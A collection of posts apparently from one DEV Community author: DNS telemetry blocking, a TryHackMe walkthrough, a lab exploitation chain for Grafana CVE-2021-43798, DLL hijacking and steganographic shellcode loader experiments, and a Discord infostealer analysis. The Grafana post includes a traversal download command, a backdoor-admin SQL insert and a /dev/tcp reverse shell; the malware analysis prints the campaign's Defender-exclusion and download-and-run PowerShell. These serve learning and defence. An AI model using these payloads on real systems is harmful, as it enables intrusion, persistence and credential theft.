DEV Community: yuribe

Your Smart Home Is Snitching On You: DNS Telemetry Blocking with AdGuard Home

yuribe — Sat, 28 Mar 2026 23:33:23 +0000

The Problem Nobody Talks About

You buy a Philips Hue bulb. A lightbulb. You screw it in, connect it to the app, and think nothing of it.

What you don't see: every 2 minutes, that lightbulb sends a DNS request to diag.meethue.com. Not when you turn it on. Not when something breaks. Every. Two. Minutes. Around the clock.

That's one PC, one Echo, one iPhone, and one lamp in six minutes. This is the floor, not the ceiling. AdGuard only sees DNS requests. Apps that hardcode IPs or use HTTPS certificate pinning bypass this entirely and you'd never know.

The good news: blocking at DNS level is the most efficient way to handle this. One device, whole network covered.

How DNS Blocking Works

When any device on your network wants to reach diag.meethue.com, it first asks a DNS resolver: "What's the IP for this domain?"

Normally your router forwards that to your ISP's DNS server, which returns an IP, and the connection goes through.

AdGuard sits between your devices and the internet as a local DNS resolver. When a request matches a blocklist entry, AdGuard returns nothing (or 0.0.0.0) instead of a real IP. The device gets no address, the connection never happens.

Normal:   Device -> Router -> ISP DNS -> Real IP -> Connection ✓
Blocked:  Device -> AdGuard -> 0.0.0.0 -> Connection ✗

No IP, no connection. Simple and effective.

Setup: AdGuard on Raspberry Pi

I run AdGuard Home on a Raspberry Pi as part of my home server stack. The full setup lives in a Docker Compose file:

services:
  adguard:
    image: adguard/adguardhome:latest
    container_name: adguard
    restart: unless-stopped
    ports:
      - 53:53/tcp
      - 53:53/udp
      - 3001:3000/tcp
      - 8889:80/tcp
    volumes:
      - adguard_work:/opt/adguardhome/work
      - adguard_conf:/opt/adguardhome/conf

After docker compose up -d:

Open http://<raspi-ip>:3000 for initial setup
Set DNS listen port to 53
Set admin interface to whatever port you want (I use 8889)
Point your router's DNS server to the Raspberry Pi IP

That last step is key. Every device on the network automatically uses AdGuard, no per-device configuration needed.

Fritz!Box: Setting the DNS Server

If you're running a Fritz!Box, the setting is slightly buried:

Open http://fritz.box
Home Network -> Network -> Network Settings -> Advanced Network Settings -> IPv4 Settings
Set Local DNS Server to your Raspberry Pi IP (e.g. 192.168.178.85)

Save and done. Every device that gets its IP via DHCP from the Fritz!Box will now use AdGuard as its DNS resolver automatically, no configuration needed on individual devices.

Filterlists: Which Ones and Why

AdGuard ships with its own list, but the real power comes from community lists. Here are the most important ones I run:

List	Blocks
AdGuard DNS filter	Ads, trackers, general purpose
OISD Blocklist Big	Large general blocklist, low false positives
HaGeZi's Pro Blocklist	Aggressive tracking and telemetry
HaGeZi's Windows/Office Tracker Blocklist	Microsoft-specific telemetry
HaGeZi's Apple Tracker Blocklist	Apple-specific telemetry

Why HaGeZi specifically? It's actively maintained, has separate lists per vendor so you can tune aggressiveness, and explicitly targets telemetry, not just ads.

Add lists under Filters -> DNS Blocklists -> Add blocklist -> Add a custom list.

HaGeZi lists: https://github.com/hagezi/dns-blocklists

Local DNS: Custom Domains for Home Services

A bonus feature: AdGuard doubles as a local DNS server. Instead of remembering 192.168.178.85:8096 for Jellyfin, you can set up DNS rewrites:

jellyfin.lan  -> 192.168.178.85
sonarr.lan    -> 192.168.178.85
radarr.lan    -> 192.168.178.85

Now http://jellyfin.lan works from any device on the network. The .lan TLD is local-only, no external DNS ever sees it.

Set up under Filters -> DNS Rewrites.

Note: If you use Nginx Proxy Manager or another reverse proxy, point all .lan rewrites at the proxy's IP, not the service directly. The proxy handles routing from there.

What Still Gets Through

DNS blocking is not a complete solution. Several things bypass it:

1. Hardcoded IPs
If an app skips DNS entirely and connects directly to 216.58.213.14 instead of google.com, AdGuard never sees it. Some IoT firmware does this deliberately.

2. HTTPS/Certificate Pinning
Apps that pin their TLS certificates can't be intercepted by a local proxy. You can block the domain, but if they fall back to a hardcoded IP you're blind.

3. DNS over HTTPS (DoH) / DNS over TLS (DoT)
Some devices (newer Android, Firefox) use encrypted DNS by default, bypassing your local resolver completely. Solution: block known DoH providers at the firewall level, or configure AdGuard as the upstream DoH server.

4. IPv6
If you block example.com for IPv4 (A records) but forget the AAAA record, IPv6-capable devices connect anyway. AdGuard handles both by default as long as IPv6 isn't disabled on your Pi.

The bottom line: What AdGuard shows you in the query log is the minimum amount of telemetry leaving your network, not the total.

Results

After running this setup for a week, a few things stand out:

The Amazon Echo is by far the most aggressive device on the network. Multiple unique hash-based subdomains under minerva.devices.a2z.com get blocked every few minutes, even at 3am.
NordVPN, ironically a privacy tool, sends telemetry to applytics.nordvpn.com regularly.
Mozilla Firefox phones home to incoming.telemetry.mozilla.org and ads.mozilla.org despite having telemetry "disabled" in settings.
The Philips Hue Bridge contacts diag.meethue.com on a precise ~2 minute interval. Clockwork.

None of this requires you to "do" anything. It happens in the background, on every device, all the time.

Takeaways

DNS-level blocking is low effort, high reward. One setup covers every device.
HaGeZi lists are worth adding on top of the defaults.
AdGuard's query log is a surprisingly useful visibility tool.
Don't trust "telemetry disabled" toggles in apps. Verify at the network level.
DNS blocking has real limits. It's one layer, not a complete solution.

Advent of Cyber 2025 - Day 1: Linux CLI (Shell's Bells)

yuribe — Sat, 28 Mar 2026 23:30:42 +0000

Challenge Overview

McSkidy has been kidnapped, and Wareville's defenses are compromised. The investigation starts on tbfc-web01, a Linux server processing Christmas wishlists. Somewhere within its data may lie the truth: traces of McSkidy's final actions, or perhaps the clues to King Malhare's twisted vision for EASTMAS.

Task 1: Which CLI command would you use to list a directory?

Answer: ls

Task 2: What flag did you see inside of McSkidy's guide?

Started by listing directory contents with ls -la to reveal hidden files:

Found the hidden .guide.txt file and read it:

cat .guide.txt

The guide contained a warning about King Malhare and instructions to check logs and shell configurations.

Task 3: Which command helped you filter the logs for failed logins?

Answer: grep

Task 4: What flag did you see inside the Eggstrike script?

Navigated to the socmas directory structure:

cd /home/socmas/2025/
cat eggstrike.sh

The script showed Sir Carrotbane's sabotage attempt to replace the Christmas wishlist with EASTMAS propaganda.

Task 5: Which command would you run to switch to the root user?

Answer: sudo su

Task 6: What flag did Sir Carrotbane leave in the root bash history?

After switching to root, checked command history:

history

Side Quest 1

The /home/mcskidy/Documents/read-me-please.txt revealed a puzzle involving three "easter eggs" that combine into a decryption passphrase.

Easter Egg 1: Environment Variables

Riddle: "I ride with your session, not with your chest of files. Open the little bag your shell carries when you arrive."

printenv

Easter Egg 2: Git History

Riddle: "The tree shows today; the rings remember yesterday. Read the ledger's older pages."

Located a backup git repository in the home directory:

cd ~/.secret_git.bak
git log

Examined an older commit that added a private note:

git show b65ff21ee1fb6b5d27894a6ae7bbfbf409e33fda

Easter Egg 3: Steganography

Riddle: "When pixels sleep, their tails sometimes whisper plain words. Listen to the tail."

ls -la /home/eddi_knapp/Pictures/
strings /home/eddi_knapp/Pictures/.easter_egg

Decryption

Combined the three fragments to decrypt McSkidy's GPG-encrypted note:

gpg -d mcskidy_note.txt.gpg > mcskidy_note.txt
cat mcskidy_note.txt

The decrypted note revealed instructions about a corrupted wishlist on the website (port 8080), including a specific list of security tools that needed to be in the wishlist file.

After correcting the wishlist, accessed the website on port 8080. The site displayed a "gibberish message" section with a long base64-encoded ciphertext and instructions to decode it with the UNLOCK_KEY.

Breaking the Cipher

Used OpenSSL with AES-256-CBC to decrypt:

echo "[LONG_BASE64_CIPHERTEXT]" | openssl enc -d -aes-256-cbc -pbkdf2 -iter 200000 -salt -base64 -pass pass:'[UNLOCK_KEY]' | head -1

Room link: https://tryhackme.com/room/linuxcli-aoc2025-o1fpqkvxti

Grafana, Passwords, and Poor Life Choices: CVE-2021-43798

yuribe — Sat, 28 Mar 2026 23:28:00 +0000

Disclaimer

Before my friends in legal get mad at me - this was all done in my own lab. Everything you're about to see has been redacted because I actually like my freedom.

Don't try this on stuff you don't own. Hacking random companies is illegal, unethical, and a great way to make new friends in prison.

Set up your own lab, break your own stuff, learn from it. That's the way.

The Story

So there I was, just casually port scanning my lab environment (as one does on a Friday evening), when I spotted port 3000 open. "Oh cool, Grafana!" I thought. Little did I know I was about to speedrun my way to root access faster than you can say "defense in depth."

The TL;DR:

Found a Grafana with CVE-2021-43798 (path traversal)
Read some files I definitely shouldn't have been able to read
Got a secret key (spoiler: it wasn't that secret)
Decrypted ALL the passwords
Logged into Grafana like I owned the place
Used SQL execution
Created a backdoor admin account
Got a reverse shell
Found out everyone was using the same password
Became root

Times I said "no way that worked": Too many to count
Lessons learned: Password reuse is a hell of a drug

Part 1: Background

What is Grafana?

Grafana is basically this pretty web interface that makes graphs and dashboards for monitoring stuff. Sysadmins love it because it makes their metrics look cool. Attackers love it because it usually has credentials for literally everything it monitors.

Think of it as the keys to the kingdom, except the keys are in a glass box with "break in case of emergency" written on it, and CVE-2021-43798 is the hammer.

Path Traversal 101

Path traversal is when you can use ../ to navigate up directories and read files you shouldn't be able to.

# Normal request
GET /files/user123/document.pdf

# Spicy request
GET /files/../../../etc/passwd

The second one tries to go up three directories and read /etc/passwd. If the application doesn't properly validate the path... well, you get to read stuff you shouldn't.

Part 2: Finding the Vulnerability

Testing for CVE-2021-43798

The vulnerability exists in Grafana versions 8.0.0 through 8.3.0. The plugin loading mechanism didn't properly validate file paths, so we can just ask nicely for files.

And just like that, we're reading /etc/passwd!

The server just gave it to me. No authentication, no nothing. Just "here's a system file, hope you have a great day!"

Part 3: Secret Key Hunting

Grabbing grafana.ini

Every Grafana instance has a configuration file at /etc/grafana/grafana.ini. This file is chef's kiss because it contains:

The secret key used for encryption
Database configuration
Admin credentials (sometimes)
Other juicy config details

BINGO! Look at that beautiful secret key just sitting there. This is the encryption key Grafana uses to "protect" sensitive data like database passwords.

[security]
secret_key = [REDACTED]
admin_user = admin
admin_password = admin

[database]
type = sqlite3
path = grafana.db

The secret key is literally the master key to decrypt everything. It's like finding the password to the password manager.

Part 4: Database Heist

Stealing grafana.db

Grafana stores everything in a SQLite database. Users, data sources, dashboards, encrypted passwords - it's all in there.

curl --path-as-is \
  "http://[TARGET]/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db" \
  -o grafana.db

Got it! Now we have a complete dump of the Grafana database sitting on our attacker machine.

Exploring the Database

sqlite3 grafana.db

.tables
SELECT * FROM data_source;

The data_source table is where things get interesting. Each row contains: data source name, type (MySQL, PostgreSQL, etc.), connection URL, username, and an encrypted password.

Example entry:

{
  "password": "RLA==",
  "database": "zabbix"
}

Part 5: Breaking the "Encryption"

How Grafana "Secures" Passwords

Grafana uses AES-256-CFB encryption with the secret key to protect data source passwords. The format is:

base64(IV + encrypted_data)

Sounds secure, right? It's only as secure as your secret key. And guess what we already have?

The Easy Way: Web Tool

Grafana Key Decryptor

Just paste in your encrypted password hash, the secret key from grafana.ini, click decrypt, watch the password appear in plaintext.

Success! The passwords just fell out. Like digital candy from a pinata.

Part 6: Going Full Auto

The Automated Approach

pedrohavay exploit script

git clone https://github.com/pedrohavay/exploit-grafana-CVE-2021-43798
cd exploit-grafana-CVE-2021-43798
python3 exploit.py

The tool automatically tests for the vulnerability, downloads important files, extracts the secret key, decrypts all passwords, and gives you a nice report.

Part 7: Admin Access Unlocked

With the decrypted credentials:

URL: http://[TARGET]:3000/login
Username: admin
Password: [REDACTED]

I'm in!

Part 8: SQL Execution

Discovering the MySQL Data Source

Grafana has this neat feature where admin users can execute SQL queries through data sources. It's not a bug, it's a feature! (It's also a massive security risk if you get compromised.)

I found a MySQL data source connected to a Zabbix database. Zabbix is a monitoring platform that monitors servers, network devices, applications - basically everything in your infrastructure.

Zabbix databases contain: user accounts and passwords, monitored host information, network topology, scripts that can be executed, and stored credentials for accessing monitored systems.

Creating a Query Panel

SELECT @@version;

Result: 10.3.39-MariaDB-0+deb10u2

SELECT DATABASE();

Result: zabbix

Confirmed SQL execution on a Zabbix database.

Part 9: Zabbix Database Spelunking

Extracting User Accounts

SELECT userid, alias, name, passwd, roleid FROM users;

This query dumped user accounts with bcrypt password hashes. But I don't need to crack them - I can just create my own admin account!

Creating a Backdoor Admin

Step 1 - Generate a password hash:

php -r "echo password_hash('MySecurePassword', PASSWORD_BCRYPT);"

Step 2 - Insert the backdoor user:

INSERT INTO users (
  userid, alias, name, surname, passwd,
  autologin, lang, refresh, theme,
  rows_per_page, timezone, roleid
)
VALUES (
  123, 'superAdmin', 'Network', 'Monitor',
  '$2a$15$[HASH_VALUE]',
  0, 'en_GB', '30s', 'America/Belize', 50, 'UTC', 3
);

Verification:

SELECT userid, alias, name, passwd FROM users WHERE userid = 123;

Username: superAdmin, Password: MySecurePassword, Role: Super Admin (roleid = 3)

Part 10: Zabbix Access

With my shiny new backdoor account, I headed over to the Zabbix web interface.

The Scripts section is where Zabbix admins can create scripts to run on monitored systems. It's meant for automation and troubleshooting. It's also perfect for getting a reverse shell.

Part 11: Getting a Shell

Creating a Reverse Shell Script

Navigation: Administration -> Scripts -> Create Script

Configuration:

Name: system_check
Type: Script
Execute on: Zabbix server
Commands: sh -i >& /dev/tcp/[ATTACKER_IP]/4444 0>&1

Setting up the listener:

nc -lvnp 4444

Part 12: Shell Access

Shell as the zabbix user on the monitoring server.

Remote shell: done
Access to monitoring configurations: done
Can see all monitored infrastructure: done
Root: not yet

Part 13: The Root Speedrun

Password Reuse to the Rescue

Remember all those passwords we decrypted earlier? Time to test if anyone committed the cardinal sin of password reuse.

zabbix@zabbix:/tmp$ su root
Password: [REDACTED - Same password as Grafana admin]

THEY USED THE SAME PASSWORD FOR ROOT AS THEY DID FOR GRAFANA.

I literally just typed one password and became root. No privilege escalation exploit. No kernel vulnerabilities. Just good old-fashioned password reuse.

The same password was used for:

Grafana admin account
MySQL database credentials
Root system account

The Attack Chain

[CVE-2021-43798 Path Traversal]
         |
[Read grafana.ini + grafana.db]
         |
[Extract secret key]
         |
[Decrypt all passwords]
         |
[Grafana admin access]
         |
[SQL execution]
         |
[Create backdoor in Zabbix]
         |
[Zabbix admin access]
         |
[Execute reverse shell script]
         |
[Shell as zabbix user]
         |
[Password reuse = instant root]
         |
[Complete infrastructure compromise]

Number of exploits needed: Technically just one (CVE-2021-43798)
Everything else: Poor security practices compounding

Why This Worked

This wasn't a sophisticated APT with zero-days and custom malware. This was a textbook case of multiple things going wrong at once.

Failure 1: Unpatched Software
CVE-2021-43798 has been known since December 2021. Patches were available. This Grafana was still vulnerable.

Failure 2: Weak Secret Key
The secret key wasn't strong enough. Everything is encrypted with this key.

Failure 3: Password Reuse
The same password for Grafana admin, database connections, and root account. This is the big one.

Failure 4: Too Many Privileges
Grafana allowed arbitrary SQL execution. Zabbix allowed script execution. No restrictions.

The point: ANY ONE of these being fixed would have stopped or severely hampered this attack.

Takeaways

Patch your systems - known CVEs will bite you
Use unique passwords - password reuse will destroy your security faster than any zero-day
Monitoring systems need to be secured like production systems
Your encryption is only as good as your key management
Defense in depth is not optional

Resources

Original CVE: CVE-2021-43798
Exploit Repo: github.com/pedrohavay/exploit-grafana-CVE-2021-43798
Grafana Security Advisory: grafana.com/blog

From Pixels to Payload Part 2: DLL Search Order Hijacking via explorer.exe

yuribe — Sat, 28 Mar 2026 23:25:20 +0000

After messing around with in-memory payloads hidden in images (LSB), I wanted to try something more native - getting code to run just by dropping a DLL. So I started looking into DLL search order hijacking, and explorer.exe turned out to be a solid target.

Goal

Inject a custom DLL that gets loaded by explorer.exe at startup, without any UAC prompt, and without using any EXE dropper or direct process injection.

Step 1: Find a Missing DLL

Using Procmon, I filtered for:

Process Name is explorer.exe
Result is NAME NOT FOUND

I was looking for DLLs that Windows tries (and fails) to load, especially from C:\Windows\, C:\Windows\System32\, and the working directory.

This revealed several missing DLLs:

But I couldn't find a consistently missing DLL that actually worked when hijacked - most of them either existed or didn't get loaded even if I dropped a fake one.

So I took a step back and did some research. That's when I came across cscapi.dll - a DLL that's often referenced in hijacking examples. It turns out:

It was historically used for Offline Files (Client Side Caching), a feature that's either disabled or not used on most systems today.
Even if it's missing, Windows and explorer.exe don't care - they try to load it, fail silently, and move on.

So it's a perfect candidate. I didn't need to overwrite an active system file, and I knew explorer.exe would try to load it automatically.

Step 2: Create the Hijack DLL

A basic C-style DLL with DllMain was enough to verify execution:

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        MessageBoxA(NULL, "DLL Loaded!", "Hijack", MB_OK);
    }
    return TRUE;
}

Compiled as a 64-bit DLL (since explorer.exe is x64), named it cscapi.dll.

Step 3: Drop into System32

Because explorer.exe only looks in System32, I needed to place my DLL directly into C:\Windows\System32\cscapi.dll.

To do that:

Took ownership with takeown /f
Granted full permissions with icacls
Moved the old DLL or renamed it as backup

Moved our own DLL into the System32 folder

Step 4: Restart explorer.exe

With the hijack in place:

taskkill /f /im explorer.exe
start explorer.exe

The messagebox popped. The DLL was successfully hijacked and executed as part of a trusted Windows process.

Why This Works

explorer.exe tries to load cscapi.dll (missing on most systems)
Windows falls back to the search order (current dir -> system dirs)
Our malicious DLL is right where it's looking
No UAC prompt, no EXE - just native DLL loading

Coming Up in Part 3...

So far we've done:

Stealthy payload delivery via image LSBs (Part 1)
Native execution via DLL hijacking (Part 2)

Next up: What happens when we combine them?

In Part 3, I'll chain the steganographic image loader from Part 1 with the DLL hijack from Part 2 - an image hides the payload, the payload gets extracted and executed, all triggered natively via explorer.exe without touching EXEs or triggering UAC.

From Pixels to Payload: LSB Steganography and In-Memory Execution

yuribe — Sat, 28 Mar 2026 23:19:40 +0000

Goal

This is a personal learning project where I set out to explore how binary payloads can be stealthily hidden inside image files and executed entirely from memory without writing anything obvious to disk or leaving behind a large forensic footprint.

The main idea was to combine steganography with in-memory execution, eventually building a custom DLL that can act as a stealth loader using DLL hijacking. The endgame? Code execution inside a trusted process, no UAC prompts, no file drops - or at least that's the theory.

To start, I built out a Python prototype to test:

LSB steganography to embed payloads into PNGs
Base64 encoding/decoding for cleaner transport
In-memory shellcode execution using ctypes (just for testing)

Right now, both the embedding and extraction logic live in Python, but the plan is to eventually rebuild the extractor in C++ to integrate it with a real DLL hijack scenario.

Even if some parts don't fully hit the stealth or reliability I want, that's fine - the goal is to learn by building, testing, and breaking stuff.

LSB Steganography: What & Why?

LSB (Least Significant Bit) steganography is one of the simplest ways to hide data in images.

Each pixel in a standard RGB image holds 3 bytes - one for red, green, and blue. By flipping just the last bit of one of these values, you can hide binary data without making visible changes to the image.

Original Red: 10110010 -> 178 Modified Red: 10110011 -> 179

That's only a 1-point change in value, which the human eye won't notice - but it's enough to store a single bit. Do this across thousands of pixels and you can stash a full payload in plain sight.

I stuck with the lowest bit in the red channel only for simplicity and minimal visual noise. You can push it further (2-3 bits per channel), but I wanted to keep it subtle.

Why LSB + Memory Execution?

I wanted to test whether it's possible to hide a payload inside an image and then execute it without ever writing anything to disk. That's where LSB steganography and in-memory execution come in.

LSB lets me embed data inside an image without changing how it looks.
In-memory execution avoids writing an EXE or DLL to disk - the payload runs directly from memory.

This combo sounded interesting, so I set out to see if it would actually work in practice, starting with simple payloads and expanding from there.

Components

embed.py - Encodes a shellcode or any binary payload into the LSBs of a PNG image
extract.py - Recovers the payload, decodes it, and executes it in memory

Technical Workflow

Embedding Phase

Extraction Phase

Tested Payloads

I used msfvenom to generate a simple 64-bit Windows MessageBox payload for testing:

msfvenom -p windows/x64/messagebox TEXT="Hello" TITLE="Stego" -f python

Output Example

Here's what it looks like after encoding:

Text embedded.
Encoded base64 payload: /EiB5PD////ozAAAAEFRQVBSSDHSZUiLU........
Byte length: 396

Then, after extraction:

[+] Extracted (Base64): b'/EiB5PD////ozAAAAEFRQVBSSDHSZUiLUmBRVkiLUhhIi1IgTTHJSA.......'
[+] Decoded Payload: b'\xfcH\x81\xe4\xf0\xff\xff\xff...'
[DEBUG] Allocated pointer: 0x21ff5500000

Executing the extractor pops our messagebox.

C++ Rebuild & Shellcode Execution

While I had some basic experience with game hacking, which gave me a foundation in memory allocation and raw pointer manipulation, byte-level data, and bitwise operations in C++ was new territory for me.

To deepen my understanding, I decided to rewrite my Python extractor in C++. This gave me hands-on experience with several key concepts:

Reading raw PNG pixel data using the lodepng library
Extracting and converting bitstreams into usable bytes
Validating custom STEG markers and length headers for embedded data
Implementing manual Base64 decoding routines
Executing in-memory shellcode via VirtualAlloc, memcpy, and function pointers

Rebuilding everything in C++ forced me to think more deeply about how low-level execution works much more than Python ever did. Debugging the process taught me to account for edge cases I hadn't considered before, like payload length mismatches and memory alignment issues.

This exercise significantly leveled up my understanding of binary data handling and executable memory operations in a real-world context.

POC Repository

Full code for the Python POC:
github.com/Yuriibe/poc_stegano_loader

C++ Extractor:
github.com/Yuriibe/StegaExtractor

What's Next: Part 2 - DLL Search Order Hijacking

The next phase of this project will explore DLL Search Order Hijacking as a stealthier method of payload delivery. The plan is to:

Refactor the current C++ extractor into a DLL
Implement an exported function that automatically extracts and executes the hidden payload when the DLL is loaded
Use DLL hijacking techniques to place the malicious DLL in a location where a vulnerable application will load it instead of the legitimate one

This will allow me to test in-memory execution in a real-world process context without dropping any obvious executables to disk, and without triggering UAC prompts.

Malware Analysis: Discord-Delivered Infostealer (Lapresse)

yuribe — Sat, 28 Mar 2026 23:19:39 +0000

Executive Summary

I investigated a Discord-distributed malware campaign delivering a Python-based infostealer disguised as .zip files. The malware employs Base85 + XOR obfuscation, multiple persistence mechanisms, and a WebSocket-based C2 infrastructure. I performed both static and dynamic analysis to uncover the infection chain, payload behavior, and exfiltration methods.

Threat Overview

Category	Details
Malware Type	Python-based Infostealer
Entry Point	Discord server promotion
Obfuscation	Base85 + XOR
Persistence	Scheduled tasks
Exfil Method	Discord Webhooks & WebSocket C2
Primary C2	ws://195.211.190.107:8767
Tools Used	pyinstxtractor, pycdc, HxD, Wireshark

1. Initial Vector

Delivery Method: Discord server promoted via discordservers.com
File Name: Launcher.exe
Behavior:
- Hosted on Discord CDN
- Attempts to evade detection of payloads by using a .zip extension with an executable file (confirmed by MZ header in HxD)
- Downloads additional payloads via obfuscated PowerShell script

Advertised Discord Server

https://discordservers.com/server/135413481619456414

Fake user:

Real user:

2. Payload Chain

The PowerShell script downloads 5 payloads from GitHub.

Triage

Initial sample - Launcher.exe from Discord
Sandbox Link

Payloads:

Payload 1: https://tria.ge/250401-l4tfsszkz9/behavioral1
Payload 2: https://tria.ge/250401-l8p9yaxvc1/behavioral1
Payload 3: https://tria.ge/250401-l8yajszlt6/behavioral1
Payload 4: https://tria.ge/250401-l7htgazls9/behavioral1
Payload 5: https://tria.ge/250401-l5p5rsxvbz/behavioral1

Grabbed from:
https://idefasoft.com/pastes/yUmTjqdnCjrD/raw/

WARNING: This PowerShell is malicious. Do not run it.
For educational purposes only - shown here as part of analysis.

Set-MpPreference -ExclusionExtension *.exe
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/Lapresse-Hugo/MalwareDatabase/refs/heads/master/Unknown/1.zip" -OutFile "$Env:LocalAppData\Updates\firefox_updater.exe"; Start-Process -Verb RunAs -Filepath "$Env:LocalAppData\Updates\firefox_updater.exe"

Despite .zip extension, all are PyInstaller-packed .exe files.

Payload Analysis (via Detect It Easy):

Payloads 1, 3, 5 are PyInstaller executables

Signs of being infostealers: master_key, passwords, webhook_url, ImageGrab, etc.

3. Obfuscation Techniques

Encoding Technique

The malware used a combo of Base85 encoding and an XOR cipher with hardcoded keys to obfuscate its payload URLs. I discovered this while reversing main.pyc from Payload 5. After extracting the binary using pyinstxtractor and partially decompiling with pycdc, I noticed suspicious encoded strings like this:

sJ6APjTTG5m = [
    bytes((
        lambda .0: [
            b ^ bytes([
                79, 236, 233, 131, 98, 113, 56, 128,
                1, 188, 24, 65, 215, 92, 0, 10
            ])[i % len(bytes([
                79, 236, 233, 131, 98, 113, 56, 128,
                1, 188, 24, 65, 215, 92, 0, 10
            ]))]
            for i, b in .0
        ]
    )(enumerate(base64.b85decode(
        'Czze{5la`ZaouY*vOZ~KVULFHO#@l?F8C@Il@dxv3j'
    )))).decode(),
    ...
]

From there, I wrote a quick decoder in Python:

import base64

def decode_b85_xor(encoded: bytes, key: bytes) -> str:
    decoded_bytes = base64.b85decode(encoded)
    xored = bytes([b ^ key[i % len(key)] for i, b in enumerate(decoded_bytes)])
    return xored.decode(errors="replace")

encoded_1 = b'Czze{5la`ZaouY*vOZ~KVULFHO#@l?F8C@Il@dxv3j'
key_1 = bytes([79, 236, 233, 131, 98, 113, 56, 128, 1, 188, 24, 65, 215, 92, 0, 10])
print(decode_b85_xor(encoded_1, key_1))

Decoded Payload URLs

{
  "url1": "https://pastebin.com/raw/D2WBNJMD",
  "url2": "https://idefasoft.com/pastes/2EiUfFx35K3p/raw/",
  "resolved": "ws://195.211.190.107:8767"
}

4. Persistence & Behavior

Creates Scheduled Tasks: EdgeUpdater, SystemUpdater, WindowsUpdater
Survives reboot
Screenshot + credential grab
Uses Discord Webhooks and WebSocket for exfil

5. Network Infrastructure

C2 Server

WebSocket URL: ws://195.211.190.107:8767
Resolved Host: ryoko.questnerd.net

Geo Info

IP: 195.211.190.107
Location: Kerkrade, Limburg, NL
Org: AS214943 Railnet LLC

6. Attribution Clues

Hosted on: Lapresse-Hugo's GitHub fork
Claimed Identity: Hugo Lapresse

Attribution likely false - this appears to be impersonation.

7. Indicators of Compromise (IOCs)

Type	Value
URL	https://pastebin.com/raw/D2WBNJMD
URL	https://idefasoft.com/pastes/2EiUfFx35K3p/raw/
GitHub	https://github.com/Lapresse-Hugo/MalwareDatabase
WebSocket C2	ws://195.211.190.107:8767
IP	195.211.190.107

8. Detection & Mitigation

Detect disguised .zip files with MZ headers
Block outbound WebSocket to untrusted IPs
Alert on suspicious PowerShell + scheduled task creation

9. Tooling & Methodology

Static: HxD, Detect It Easy
Dynamic: tria.ge, Wireshark
Unpacking: pyinstxtractor
Decompiling: pycdc
Scripting: Custom Python deobfuscator

Conclusion

This analysis shows how social engineering and public infra (Discord, GitHub, Pastebin) combine to deliver Python-based infostealers with persistence, obfuscation, and stealth C2.

What I Learned

PyInstaller malware reversing
Base85 + XOR deobfuscation
Triage + tooling workflow